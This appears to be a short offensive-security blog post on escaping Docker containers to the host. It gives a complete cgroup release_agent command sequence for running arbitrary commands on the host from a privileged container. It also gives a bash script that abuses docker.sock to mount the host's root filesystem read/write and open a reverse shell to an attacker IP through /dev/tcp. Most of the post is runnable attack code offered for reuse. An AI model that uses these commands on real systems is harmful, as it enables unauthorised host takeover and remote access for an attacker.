Docker Escape'r
There are several ways docker can help provide an avenue for privilege escalation in unique ways. Here’s a few interesting & practical ones I’ve come across.
–privileged
If you find yourself within a docker container and either are or can become root within the container,
if the container is run with --privileged
there’s a good chance you can get code execution on the host.
Technically, you don’t have to be running within a --privileged
container.
The minimum requirements could also be met with flags --security-opt apparmor=unconfined --cap-add=SYS_ADMIN
To gain code execution on the host, run the following within the container:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
And to checkout the results, look in /output
:
cat /output
To execute other commands, just replace ps aux > $host_path/output
with the command(s) you want to run.
Keep in mind that if you don’t write anything to $host_path/output
, there won’t be any visible output from the command execution.
If you get errors on subsequent runs, double check the file permissions ls -al /output
. If it looks wonked, then try
outputing to a different file such as output2
.
For a more in-depth write-up, check out this post on Trail of Bits
docker.sock
If you’re able to communicate with docker.sock, you are in a good spot to get read/write access to the host’s file system.
Checkout available images:
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
#!/bin/bash
ATTACKER_IP=10.10.10.10 # IP of attacker host running nc listener
ATTACKER_PORT=8888 # Port on the nc listener on the attacker host
DOCKER_IMAGE=sandbox # Name of the docker image to use as the base
CONTAINER_NAME=docker_root_fs # Name of the new container
# Define the command to execute when the new container starts up
# This version executes a simple bash reverse shell from the rootfs mount /tmp, but it could be swapped out for anything else
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'\\\"\"]"
# Create the new container:
# - use the provided image
# - mount the host's root file system to /tmp as read/write
# - execute the command on container start-up
curl -s -X POST --unix-socket /var/run/docker.sock -d "{\"Image\": \"$DOCKER_IMAGE\", \"Binds\": [\"/:/tmp:rw\"], \"cmd\": $cmd}" -H 'Content-Type: application/json' http://localhost/containers/create?name=$CONTAINER_NAME
# Fire up the container!
curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_NAME/start
The reverse shell received from this will be within the new container instance at the root of the host file system via the read/write mount attached to the container. From here, wash/rinse/repeat enumeration for a foothold on the docker host.